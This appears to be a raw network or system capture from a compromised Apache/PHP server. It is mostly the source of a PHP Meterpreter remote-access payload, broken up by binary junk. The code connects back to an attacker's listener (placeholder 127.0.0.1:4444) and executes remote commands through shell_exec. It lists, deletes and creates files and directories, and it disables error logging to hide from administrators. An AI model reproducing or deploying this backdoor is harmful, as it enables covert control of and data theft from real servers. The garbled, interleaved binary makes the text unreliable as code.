ò`~QE}<< )y*= )y*=  `~Q}<< )y*= ) d ) d  )y*= `~Q}JJ ) d )y*=Eapache2/var/www`~Qjj ) dE \ e  ziHM2 Q~z4! r>apache2/var/www`~Qjj ) dE \( =  ziHM2!Q~zJ! r>apache2/var/www`~Qrr ) dE d ]  ziPM2"Q~z!rphp-cgi-wrap/etc/ld.so.cache`~Q& ) dE t M  zi`M2#Q~z! php-cgi-wrap /lib/tls/i686/cmov/libc-2.6.1.so`~Q)zz ) dE l U  ziXM2$Q~z!php-cgi-wrap/usr/bin/php-cgi-wrapper`~Qrr ) dE d( 5  ziPM2%Q~z!rphp5-cgi/etc/ld.so.cache`~Q ) dE x I  zidM2&Q~z! php5-cgi$/lib/tls/i686/cmov/libcrypt-2.6.1.so`~Qzz ) dE l I  ziXM2'Q~z!Pphp5-cgi/usr/lib/libz.so.1.2.3.3`~Q ) dE v K  zibM2(Q~z*!AAphp5-cgi"/usr/lib/i686/cmov/libssl.so.0.9.8`~Qww ) dE i L  ziUM2)Q~zQ!php5-cgi/usr/lib/libdb-4.5.so`~Qvv ) dE h M  ziTM2*Q~z{! php5-cgi/lib/libbz2.so.1.0.4`~Q|| ) dE n G  ziZM2+Q~z!php5-cgi/usr/lib/libpcre.so.3.12.1`~Q: ) dE y <  zieM2,Q~z! php5-cgi%/lib/tls/i686/cmov/libresolv-2.6.1.so`~Q> ) dE t A  zi`M2-Q~z! php5-cgi /lib/tls/i686/cmov/libm-2.6.1.so`~Q> ) dE u L  ziaM2.Q~z! php5-cgi!/lib/tls/i686/cmov/libdl-2.6.1.so`~Q? ) dE v K  zibM2/Q~z8! php5-cgi"/lib/tls/i686/cmov/libnsl-2.6.1.so`~QJ ) dE r O  zi^M20Q~zt! php5-cgi/usr/lib/libgssapi_krb5.so.2.2`~QKyy ) dE k V  ziWM21Q~z! php5-cgi/usr/lib/libkrb5.so.3.3`~QT}} ) dE o R  zi[M22Q~z! php5-cgi/usr/lib/libk5crypto.so.3.1`~Qbxx ) dE j K  ziVM23Q~z! Jphp5-cgi/lib/libcom_err.so.2.1`~Q||| ) dE n S  ziZM24Q~z!Hphp5-cgi/usr/lib/libxml2.so.2.6.30`~Q} ) dE t M  zi`M25Q~z! php5-cgi /lib/tls/i686/cmov/libc-2.6.1.so`~Q~ ) dE y <  zieM26Q~z3!A@php5-cgi%/usr/lib/i686/cmov/libcrypto.so.0.9.8`~Q ) dE z G  zifM27Q~za! php5-cgi&/lib/tls/i686/cmov/libpthread-2.6.1.so`~Q ) dE r C  zi^M28Q~z! php5-cgi/usr/lib/libkrb5support.so.0.1`~Qyy ) dE k V  ziWM29Q~z! *php5-cgi/lib/libkeyutils-1.2.so`~Qpp ) dE b S  ziNM2:Q~z!j4php5-cgi/etc/localtime`~Qtt ) dE f O  ziRM2;Q~z!jYphp5-cgi/etc/nsswitch.conf`~QЦrr ) dE d ]  ziPM2Q~z! php5-cgi(/lib/tls/i686/cmov/libnss_files-2.6.1.so`~Qئpp ) dE b S  ziNM2?Q~zH!nrphp5-cgi/etc/protocols`~Qpp ) dE b _  ziNM2@Q~zn!nrphp5-cgi/etc/protocols`~Q|| ) dE n G  ziZM2AQ~z!php5-cgi/usr/share/file/magic.mime`~Qtt ) dE f [  ziRM2BQ~z}!pphp5-cgi/var/www/index.php`~QJJ )y*= ) dE<7@@  \D<5  W`~Qqq ) dE c ^  ziOM2CQ~z!Tphp5-cgi \ `~QJJ ) d )y*=E<@@%  \PeD<Š8f 3 W`~Q֧BB )y*= ) dE47@@  \D $val) { if (is_array($val)) { # recurse dump_array($val, "{$name}[{$key}]"); } else { my_print(sprintf(" $key ($val)")); } } } function dump_readers() { global $readers; dump_array($readers, 'Readers'); } function dump_resource_map() { global $resource_type_map; dump_array($resource_type_map, 'Resource map'); } function dump_channels($extra="") { global $channels; dump_array($channels, 'Channels '.$extra); } # Doesn't exist before php 4.3 if (!function_exists("file_get_contents")) { function file_get_contents($file) { $f = @fopen($file,"rb"); $contents = false; if ($f) { do { $contents .= fgets($f); } while (!feof($f)); } fclose($f); return $contents; } } # Renamed in php 4.3 if (!function_exists('socket_set_option')) { function socket_set_option($sock, $type, $opt, $value) { socket_setopt($sock, $type, $opt, $value); } } # # Constants # define("PACKET_TYPE_REQUEST",0); define("PACKET_TYPE_RESPONSE",1); define("PACKET_TYPE_PLAIN_REQUEST", 10); define("PACKET_TYPE_PLAIN_RESPONSE", 11); define("ERROR_SUCCESS",0); # not defined in original C implementation define("ERROR_FAILURE",1); define("CHANNEL_CLASS_BUFFERED", 0)`~Q1 ) d )y*=E @@  \PD<ŀ  3 W; define("CHANNEL_CLASS_STREAM", 1); define("CHANNEL_CLASS_DATAGRAM", 2); define("CHANNEL_CLASS_POOL", 3); # # TLV Meta Types # define("TLV_META_TYPE_NONE", ( 0 )); define("TLV_META_TYPE_STRING", (1 << 16)); define("TLV_META_TYPE_UINT", (1 << 17)); define("TLV_META_TYPE_RAW", (1 << 18)); define("TLV_META_TYPE_BOOL", (1 << 19)); define("TLV_META_TYPE_COMPRESSED", (1 << 29)); define("TLV_META_TYPE_GROUP", (1 << 30)); define("TLV_META_TYPE_COMPLEX", (1 << 31)); # not defined in original define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)); # # TLV base starting points # define("TLV_RESERVED", 0); define("TLV_EXTENSIONS", 20000); define("TLV_USER", 40000); define("TLV_TEMP", 60000); # # TLV Specific Types # define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0); define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1); define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2); define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3); define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4); define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10); define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11); define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12); define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25); define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26); define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27); define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50); define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51); define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52); define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53); define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54); define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70); define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71); define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72); define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300); define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301); define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400); define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401); define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402); define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403); define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500); define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501); function my_cmd($cmd) { return shell_exec($cmd); } function is_windows() { return (strtoupper(substr(PHP_OS,0,3)) == "WIN"); } ## # Worker functions ## function core_channel_open($req, &$pkt) { $type_tlv = packet_get_tlv($`~Q8BB )y*= ) dE47@@  \D $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => ''); # Grab the last index and use it as the new ID. $id = end(array_keys($channels)); my_print("Created new channel $in, with id $id"); return $id; } # # Channels look like this: # # Array # ( # [0] => Array # ( # [0] => Resource id #12 # [1] => Resource id #13 # [2] => Resource id #14 # [type] => 'stream' # [data] => '...' # ) # ) # function get_channel_id_from_resource($resource) { global $channels; if (empty($channels)) { return false; } foreach ($channels as $i => $chan_ary) { if (in_array($resource, $chan_ary)) { my_print("Found channel id $i"); return $i; } } return false; } function get_channel_by_id($chan_id) { global $channels; my_print("Looking up channel id $chan_id"); #dump_channels("in get_channel_by_id"); if (array_key_exists($chan_id, $channels)) { my_print("Found one"); return $channels[$chan_id]; } else { return false; } } # Write data to the channel's stdin function channel_write($chan_id, $data) { $c = get_channel_by_id($chan_id); if ($c && is_resource($c[0])) { my_print("---Writing '$data' to channel $chan_id"); return write($c[0], $data); } else { return false; } } # Read from the channel's stdout function channel_read($chan_id, $len) { $c = get_channel_by_id($chan_id); if ($c) { # First get any pending unread data from a previous read $ret = substr($c['data'], 0, $len); $c['data'] = substr($c['data'], $len); if (strlen($ret) > 0) { my_print("Had some leftovers: '$ret'"); } # Next grab stderr if we have it and it's not the same file descriptor # as stdout. if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) { # Read as much as possible into the channel's data buffer $read = read($c[2]); $c['data'] .= $read; # Now slice out however much the client asked for. If there's any # left over, they'll get it next time. If it doesn't add up to # what they requested, oh well, they'll just have to call read # again. Looping until we get the requested number of bytes is # inconsistent with win32 meterpreter and causes the whole php # process to block waiting on input. $bytes_needed = $len - strlen($ret); $ret .= substr($c['data'], 0, $bytes_needed); $c['data'] = substr($c['data'], $bytes_needed); } # Then if there's still room, grab stdout if (strlen($ret) < $len and is_resource($c[1])) { # Same as above, but for stdout. This will overwrite a false # return value from reading stderr but the two should generally # EOF at the same time, so it should be fine. $read = read($c[1]); $c['data'] .= $read; $bytes_needed = $len - strlen($ret); $ret .= substr($c['data'], 0, $bytes_needed); $c['data'] = substr($c['data'], $bytes_needed); } # In the event of one or the other of the above read()s returning # false, make sure we have sent any pending unread data before saying # EOF by returning false. Note that if they didn't return false, it is # perfectly legitimate to return an empty string which just means # there's no data right now but we haven't hit EOF yet. if (false === $read and empty($ret)) { if (interacting($chan_id)) { handle_dead_resource_channel($c[1]); } return false; } return $ret; } else { return false; } } ## # TLV Helper Functions ## function generate_req_id() { $characters = 'abcdefghijklmnopqrstuvwxyz'; $rid = ''; for ($p = 0; $p < 32; $p++) { $rid .= $characters[rand(0, strlen($characters)-1)]; } return $rid; } function handle_dead_resource_channel($resource) { global $msgsock; if (!is_resource($resource)) { return; } $cid = get_channel_id_from_resource($resource); if ($cid === false) { my_print("Resource`~QBB )y*= ) dE47@@  \D  W3`~Q8"D"D ) d )y*=ED@@  \PJD<ŀY% 3 W has no channel: {$resource}"); # Make sure the provided resource gets closed regardless of it's status # as a channel remove_reader($resource); close($resource); } else { my_print("Handling dead resource: {$resource}, for channel: {$cid}"); # Make sure we close other handles associated with this channel as well channel_close_handles($cid); # Notify the client that this channel is dead $pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close')); packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); # Add the length to the beginning of the packet $pkt = pack("N", strlen($pkt) + 4) . $pkt; write($msgsock, $pkt); } return; } function handle_resource_read_channel($resource, $data) { global $udp_host_map; $cid = get_channel_id_from_resource($resource); my_print("Handling data from $resource"); # Build a new Packet $pkt = pack("N", PACKET_TYPE_REQUEST); packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write')); if (array_key_exists((int)$resource, $udp_host_map)) { list($h,$p) = $udp_host_map[(int)$resource]; packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p)); } packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data))); packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); # Add the length to the beginning of the packet $pkt = pack("N", strlen($pkt) + 4) . $pkt; return $pkt; } function create_response($req) { $pkt = pack("N", PACKET_TYPE_RESPONSE); $method_tlv = packet_get_tlv($req, TLV_TYPE_METHOD); my_print("method is {$method_tlv['value']}"); packet_add_tlv($pkt, $method_tlv); $reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID); packet_add_tlv($pkt, $reqid_tlv); if (is_callable($method_tlv['value'])) { $result = $method_tlv['value']($req, $pkt); } else { my_print("Got a request for something I don't know how to handle (". $method_tlv['value'] ."), returning failure"); $result = ERROR_FAILURE; } packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result)); # Add the length to the beginning of the packet $pkt = pack("N", strlen($pkt) + 4) . $pkt; return $pkt; } function create_tlv($type, $val) { return array( 'type' => $type, 'value' => $val ); } function tlv_pack($tlv) { $ret = ""; #my_print("Creating a tlv of type: {$tlv['type']}"); if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0"); } elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); } elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { # PHP's pack appears to be busted for chars, $ret = pack("NN", 8 + 1, $tlv['type']); $ret .= $tlv['value'] ? "\x01" : "\x00"; } elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) { # treat groups the same as raw $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) { # treat complex the same as raw $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; } else { my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf"); } return $ret; } function packet_add_tlv(&$pkt, $tlv) { $pkt .= tlv_pack($tlv); } function packet_get_tlv($pkt, $type) { #my_print("Looking for a tlv of type $type"); # Start at offset 8 to skip past the packet header $offset = 8; while ($offset < strlen($pkt)) { $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8)); #my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { #my_print("Found one at offset $offset"); if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $tlv = unpack("Nlen/Ntype/a*value", substr($pkt, $offset, $tlv['len'])); } elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $tlv = unpack("Nlen/Ntype/Nvalue", substr($pkt, $offset, $tlv['len'])); } elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { $tlv = unpack("Nlen/Ntype/cvalue", substr($pkt, $offset, $tlv['len'])); } elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8)); $tlv['value'] = substr($pkt, $offset+8, $tlv['len']-8); } else { my_print("Wtf type is this? $type"); $tlv = null; } return $tlv; } $offset += $tlv['len']; } #my_print("Didn't find one, wtf"); return false; } ## # Functions for genericizing the stream/socket conundrum ## function register_socket($sock, $ipaddr=null, $port=null) { global $resource_type_map, $udp_host_map; my_print("Registering socket $sock for ($ipaddr:$port)"); $resource_type_map[(int)$sock] = 'socket'; if ($ipaddr) { $udp_host_map[(int)$sock] = array($ipaddr, $port); #dump_array($udp_host_map, "UDP Map after registering a new socket"); } } # The stream functions cannot be unconnected, so don't require a host map function register_stream($stream, $ipaddr=null, $port=null) { global $resource_type_map, $udp_host_map; my_print("Registering stream $stream for ($ipaddr:$port)"); $resource_type_map[(int)$stream] = 'stream'; if ($ipaddr) { $udp_host_map[(int)$stream] = array($ipaddr, $port); #dump_array($udp_host_map, "UDP Map after registering a new stream"); } } function connect($ipaddr, $port, $proto='tcp') { my_print("Doing connect($ipaddr, $port)"); $sock = false; # IPv6 requires brackets around the address in some cases, but not all. # Keep track of the un-bracketed address for the functions that don't like # brackets, specifically socket_connect and socket_sendto. $ipf = AF_INET; $raw_ip = $ipaddr; if (FALSE !== strpos($ipaddr, ":")) { $ipf = AF_INET6; $ipaddr = "[". $raw_ip ."]"; } # Prefer the stream versions so we don't have to use both select functions # unnecessarily, but fall back to socket_create if they aren't available. if (is_callable('stream_socket_client')) { my_print("stream_socket_client({$proto}://{$ipaddr}:{$port})"); $sock = stream_socket_client("{$proto}://{$ipaddr}:{$port}"); my_print("Got a sock: $sock"); if (!$sock) { return false; } if ($proto == 'tcp') { register_stream($sock); } elseif ($proto == 'udp') { register_stream($sock, $ipaddr, $port); } else { my_print("WTF proto is this: '$proto'"); } } else if (is_callable('fsockopen')) { my_print("fsockopen"); if ($proto == 'tcp') { $sock = fsockopen($ipaddr,$port); if (!$sock) { return false; } if (is_callable('socket_set_timeout')) { socket_set_timeout($sock, 2); } register_stream($sock); } else { $sock = fsockopen($proto."://".$ipaddr,$port); if (!$sock) { return false; } register_stream($sock, $ipaddr, $port); } } else if (is_callable('socket_create')) { my_print("socket_create"); if ($proto == 'tcp') { $sock = socket_create($ipf, SOCK_STREAM, SOL_TCP); $res = socket_connect($sock, $raw_ip, $port); if (!$res) { return false; } register_socket($sock); } elseif ($proto == 'udp') { $sock = socket_create($ipf, SOCK_DGRAM, SOL_UDP); register_socket($sock, $raw_ip, $port); } } return $sock; } function eof($resource) { $ret = false; switch (get_rtype($resource)) { # XXX Doesn't work with sockets. case 'socket': break; case 'stream': # We set the socket timeout for streams opened with fsockopen() when # they are created. I hope this is enough to deal with hangs when # calling feof() on socket streams, but who knows. This is PHP, # anything could happen. Some day they'll probably add a new function # called stream_eof() and it will handle sockets properly except for # some edge case that happens for every socket except the one or two # they tested it on and it will always return false on windows and # later they'll rename it to real_stream_eof_this_language_isretarded(). # # See http://us2.php.net/manual/en/function.feof.php , specifically this: # If a connection opened by fsockopen() wasn't closed by the server, # feof() will hang. To workaround this, see below example: # 0) { $buff .= fread($resource, $md['unread_bytes']); break; } else { #$len = 1; $tmp = fread($resource, $len); $buff .= $tmp; if (strlen($tmp) < $len) { break; } } if ($resource != $msgsock) { my_print("buff: '$buff'"); } $r = Array($resource); } my_print(sprintf("Done with the big read loop on $resource, got %d bytes", strlen($buff))); break; default: # then this is possibly a closed channel resource, see if we have any # data from previous reads $cid = get_channel_id_from_resource($resource); $c = get_channel_by_id($cid); if ($c and $c['data']) { $buff = substr($c['data'], 0, $len); $c['data'] = substr($c['data'], $len); my_print("Aha! got some leftovers"); } else { my_print("Wtf don't know how to read from resource $resource, c: $c"); if (is_array($c)) { dump_array($c); } break; } } my_print(sprintf("Read %d bytes", strlen($buff))); return $buff; } function write($resource, $buff, $len=0) { global $udp_host_map; if ($len == 0) { $len = strlen($buff); } #my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource))); $count = false; switch (get_rtype($resource)) { case 'socket': if (array_key_exists((int)$resource, $udp_host_map)) { my_print("Writing UDP socket"); list($host,$port) = $udp_host_map[(int)$resource]; $count = socket_sendto($resource, $buff, $len, $host, $port); } else { $count = socket_write($resource, $buff, $len); } break; case 'stream': $count = fwrite($resource, $buff, $len); fflush($resource); break; default: my_print("Wtf don't know how to write to resource $resource"); break; } return $count; } function get_rtype($resource) { global $resource_type_map; if (array_key_exists((int)$resource, $resource_type_map)) { return $resource_type_map[(int)$resource]; } return false; } function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) { $streams_r = array(); $streams_w = array(); $streams_e = array(); $sockets_r = array(); $sockets_w = array(); $sockets_e = array(); if ($r) { foreach ($r as $resource) { switch (get_rtype($resource)) { case 'socket': $sockets_r[] = $resource; break; case 'stream': $streams_r[] = $resource; break; default: my_print("Unknown resource type"); break; } } } if ($w) { foreach ($w as $resource) { switch (get_rtype($resource)) { case 'socket': $sockets_w[] = $resource; break; case 'stream': $streams_w[] = $resource; break; default: my_print("Unknown resource type"); break; } } } if ($e) { foreach ($e as $resource) { switch (get_rtype($resource)) { case 'socket': $sockets_e[] = $resource; break; case 'stream': $streams_e[] = $resource; break; default: my_print("Unknown resource type"); break; } } } $n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e); $n_streams = count($streams_r) + count($streams_w) + count($streams_e); #my_print("Selecting $n_sockets sockets and $n_streams streams with timeout $tv_sec.$tv_usec"); $r = array(); $w = array(); $e = array(); # Workaround for some versions of PHP that throw an error and bail out if # select is given an empty array if (count($sockets_r)==0) { $sockets_r = null; } if (count($sockets_w)==0) { $sockets_w = null; } if (count($sockets_e)==0) { $sockets_e = null; } if (count($streams_r)==0) { $streams_r = null; } if (count($streams_w)==0) { $streams_w = null; } if (count($streams_e)==0) { $streams_e = null; } $count = 0; if ($n_sockets > 0) { $res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec); if (false === $res) { return false; } if (is_a`~Q}BB )y*= ) dE47@@  \D 0) { $res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec); if (false === $res) { return false; } if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); } if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); } if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); } $count += $res; } #my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e))); return $count; } function add_reader($resource) { global $readers; if (is_resource($resource) && !in_array($resource, $readers)) { $readers[] = $resource; } } function remove_reader($resource) { global $readers; #my_print("Removing reader: $resource"); #dump_readers(); if (in_array($resource, $readers)) { foreach ($readers as $key => $r) { if ($r == $resource) { unset($readers[$key]); } } } } ## # Main stuff ## ob_implicit_flush(); # For debugging #error_reporting(E_ALL); # Turn off error reporting so we don't leave any ugly logs. Why make an # administrator's job easier if we don't have to? =) error_reporting(0); @ignore_user_abort(true); # Has no effect in safe mode, but try anyway @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); # If we don't have a socket we're standalone, setup the connection here. # Otherwise, this is a staged payload, don't bother connecting if (!isset($GLOBALS['msgsock'])) { # The payload handler overwrites this with the correct LHOST before sending # it to the victim. $ipaddr = '127.0.0.1'; $port = 4444; my_print("Don't have a msgsock, trying to connect($ipaddr, $port)"); $msgsock = connect($ipaddr, $port); if (!$msgsock) { die(); } } else { # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or # stream) in $msgsock_type $msgsock = $GLOBALS['msgsock']; $msgsock_type = $GLOBALS['msgsock_type']; switch ($msgsock_type) { case 'socket': register_socket($msgsock); break; case 'stream': # fall through default: register_stream($msgsock); } } add_reader($msgsock); # # Main dispatch loop # $r=$GLOBALS['readers']; while (false !== ($cnt = select($r, $w=null, $e=null, 1))) { #my_print(sprintf("Returned from select with %s readers", count($r))); $read_failed = false; for ($i = 0; $i < $cnt; $i++) { $ready = $r[$i]; if ($ready == $msgsock) { $request = read($msgsock, 8); #my_print(sprintf("Read returned %s bytes", strlen($request))); if (false==$request) { #my_print("Read failed on main socket, bailing"); # We failed on the main socket. There's no way to continue, so # break all the way out. break 2; } $a = unpack("Nlen/Ntype", $request); # length of the whole packet, including header $len = $a['len']; # packet type should always be 0, i.e. PACKET_TYPE_REQUEST $ptype = $a['type']; while (strlen($request) < $a['len']) { $request .= read($msgsock, $len-strlen($request)); } #my_print("creating response"); $response = create_response($request); write($msgsock, $response); } else { #my_print("not Msgsock: $ready"); $data = read($ready); if (false === $data) { handle_dead_resource_channel($ready); } elseif (strlen($data) > 0){ my_print(sprintf("Read returned %s bytes", strlen($data))); $request = handle_resource_read_channel($ready, $data); if ($request) { write($msgsock, $request); } } } } # $r is modified by select, so reset it $r = $GLOBALS['readers']; } # end main loop my_print("Finished"); my_print("--------------------"); close($msgsock); `~QaBB )y*= ) dE47@@  \D  W3`~QBB )y*= ) dE47@@  \D= 4.0.0. * @author soywiz at php dot net * @since 17-Jul-2006 10:12 */ if (!function_exists('fnmatch')) { function fnmatch($pattern, $string) { return @preg_match('/^' . strtr(addcslashes($pattern, '\\/.+^$(){}=!<>|'), array('*' => '.*', '?' => '.?')) . '$/i', $string); } } /** * Prepends $string to each element of $array * If $deep is true, will indeed also apply to sub-arrays * @author BigueNique AT yahoo DOT ca * @since 080324 */ if (!function_exists('array_prepend')) { function array_prepend($array, $string, $deep=false) { if(empty($array)||empty($string)) return $array; foreach($array as $key => $element) if(is_array($element)) if($deep) $array[$key] = array_prepend($element,$string,$deep); else trigger_error('array_prepend: array element',E_USER_WARNING); else $array[$key] = $string.$element; return $array; } } ## END Search Helpers if (!function_exists('cononicalize_path')) { function cononicalize_path($path) { $path = str_replace(array("/", "\\"), DIRECTORY_SEPARATOR, $path); return $path; } } # # Need to nail down what this should actually do. Ruby's File.expand_path is # for cononicalizing a path (e.g., removing /./ and ../) and expanding "~" into # a path to the current user's homedir. In contrast, Meterpreter has # traditionally used this to get environment variables from the server. # if (!function_exists('stdapi_fs_file_expand_path')) { register_command('stdapi_fs_file_expand_path'); function stdapi_fs_file_expand_path($req, &$pkt) { my_print("doing expand_path"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); $env = $path_tlv['value']; my_print("Request for: '$env'"); if (!is_windows()) { # Handle some basic windows-isms when we can switch ($env) { case "%COMSPEC%": $path = "/bin/sh"; break; case "%TEMP%": case "%TMP%": $path = "/tmp"; break; default: # Don't know what the user meant, just try it as an environment # variable and hope for the best. $path = getenv($env); } } else { $path = getenv($env); if (empty($path) and ($env == "%COMSPEC%")) { # hope it's in the path $path = "cmd.exe"; } } my_print("Returning with an answer of: '$path'"); if ($path) { packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path)); return ERROR_SUCCESS; } return ERROR_FAILURE; } } if (!function_exists('stdapi_fs_delete_dir')) { register_command('stdapi_fs_delete_dir'); function stdapi_fs_delete_dir($req, &$pkt) { my_print("doing rmdir"); $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); $ret = @rmdir(cononicalize_path($path_tlv['value'])); return $ret ? ERROR_SUCCESS : ERROR_FAILURE; } } if (!function_exists('stdapi_fs_mkdir')) { register_command('stdapi_fs_mkdir'); function stdapi_fs_mkdir($req, &$pkt) { my_print("doing mkdir"); $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); $ret = @mkdir(cononicalize_path($path_tlv['value'])); return $ret ? ERROR_SUCCESS : ERROR_FAILURE; } } # works if (!function_exists('stdapi_fs_chdir')) { register_command('stdapi_fs_chdir'); function stdapi_fs_chdir($req, &$pkt) { my_print("doing chdir"); $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); $ret = @chdir(cononicalize_path($path_tlv['value'])); return $ret ? ERROR_SUCCESS : ERROR_FAILURE; } } # works if (!function_exists('stdapi_fs_delete')) { register_command('stdapi_fs_delete'); function stdapi_fs_delete($req, &$pkt) { my_print("doing delete"); $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME); $ret = @unlink(cononicalize_path($path_tlv['value'])); return $ret ? ERROR_SUCCESS : ERROR_FAILURE; } } # works if (!function_exists('stdapi_fs_getwd')) { register_command('stdapi_fs_getwd'); function stdapi_fs_getwd($req, &$pkt) { my_print("doing pwd"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd())); return ERROR_SUCCESS; } } # works partially, need to get the path argument to mean the same thing as in # windows if (!function_exists('stdapi_fs_ls')) { register_command('stdapi_fs_ls'); function stdapi_fs_ls($req, &$pkt) { my_print("doing ls"); $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); $path = cononicalize_path($path_tlv['value']); $dir_handle = @opendir($path); if ($dir_handle) { while ($file = readdir($dir_handle)) { if ($file != "." && $file != "..") { #my_print("Adding file $file"); packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file)); packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file)); $st = stat($path . DIRECTORY_SEPARATOR . $file); $st_buf = ""; $st_buf .= pack("V", $st['dev']); $st_buf .= pack("v", $st['ino']); $st_buf .= pack("v", $st['mode']); $st_buf .= pack("v", $st['nlink']); $st_buf .= pack("v", $st['uid']); $st_buf .= pack("v", $st['gid']); $st_buf .= pack("v", 0); $st_buf .= pack("V", $st['rdev']); $st_buf .= pack("V", $st['size']); $st_buf .= pack("V", $st['atime']); $st_buf .= pack("V", $st['mtime']); $st_buf .= pack("V", $st['ctime']); $st_buf .= pack("V", $st['blksize']); $st_buf .= pack("V", $st['blocks']); packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); } } closedir($dir_handle); return ERROR_SUCCESS; } else { return ERROR_FAILURE; } } } if (!function_exists('stdapi_fs_separator')) { register_command('stdapi_fs_separator'); function stdapi_fs_separator($req, &$pkt) { packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR)); return ERROR_SUCCESS; } } if 